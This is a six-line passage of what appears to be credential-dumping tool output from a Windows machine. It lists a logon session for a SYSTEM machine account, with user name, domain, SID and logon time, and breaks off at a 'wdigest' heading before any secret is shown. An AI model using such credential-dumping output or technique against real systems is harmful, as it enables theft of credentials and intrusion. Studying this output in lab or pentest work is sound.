  251. User Name : ROOT-5DE52AC98B$
  252. Domain : WORKGROUP
  253. Logon Server : (null)
  254. Logon Time : 2019-9-7 10:11:34
  255. SID : S-1-5-18
  256. wdigest :